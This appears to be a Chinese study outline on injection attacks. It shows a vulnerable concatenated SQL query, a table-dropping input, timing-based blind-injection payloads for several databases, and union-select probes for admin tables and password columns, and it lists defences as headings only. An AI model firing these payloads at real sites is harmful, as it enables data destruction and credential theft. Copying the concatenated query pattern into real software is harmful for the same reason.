注入攻击
数据与代码分离,可以说是专门为解决注入攻击而生的
注入攻击的本质:用户输入的数据当作代码执行
两个关键条件:一、用户能够控制输入;二、原本程序要执行的代码,拼接了用户输入的数据
1 SQL注入
典例:
var ShipCity; ShipCity = Request.form(“ShipCity”); var sql = “select * from OrdersTable where ShipCity = ‘” + ShipCity + “’”; |
正常输入: Beijing
select * from OrdersTable where ShipCity = ‘Beijing’; |
恶意输入: Beijing’; drop table OrdersTable--
select * from OrdersTable where ShipCity = ‘Beijing’;drop table OrdesTable—’; |
SQL注入过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号,引起执行查询语句的语法错误,服务器直接返回错误信息,那么我们就可能从错误信息中知道用的什么数据库,甚至版本、或者查询语句的构成。
1.1 盲注(Blind Inject) ----------------- 应对服务器关闭了错误回显
最常见的方法:构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行
Example
原始URL与SQL
http://newspaper.com/items.php?id=2
SELECT title,description,body FROM items WHERE ID=2 |
条件判断
1.2 Timing Attack
MySQL中的BENCHMARK()函数:BENCHMARK(count, expr) <将EXPR执行COUNT次>
利用BENCHMARK函数可让同一个函数执行若干次,使得返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。
Example: 构造的攻击参数id为:
1170 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(500000,ENCODE(‘MSF’, ‘by 5 seconds’ )),null) FROM (SELECT Database as current) as tbl; |
不同的数据库都有类似的函数:
MySQL |
BENCHMARK(10000000,md5(1)) or SLEEP(5) |
PostgreSQL |
PG_SLEEP(5) or GENERATE_SERIES(1,1000000) |
MS SQL Server |
WAITFOR DELAY ‘0:0:5’ |
2 数据库攻击技巧
不同的数据库,SQL注入的技巧有所不同
2.1 常见的攻击技巧
如果Mysql的版本是4,则会返回TRUE http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 |
id =5 union all select 1,2,3 from admin //确认表名admin是否存在 |
id =5 union all select 1,2,passwd from admin //确认admin表中pssswd是否存在 |
|
|
2.2 命令执行
2.3 攻击存储过程
2.4 编码问题
2.5 SQL Column Truncation
3 正确地防御SQL注入
3.1 使用预编译语句
3.2 使用存储过程
3.3 检查数据类型
3.4 使用安全函数
4 其他注入攻击
4.1 XML注入
4.2 代码注入
4.3 CRLF注入
5 小结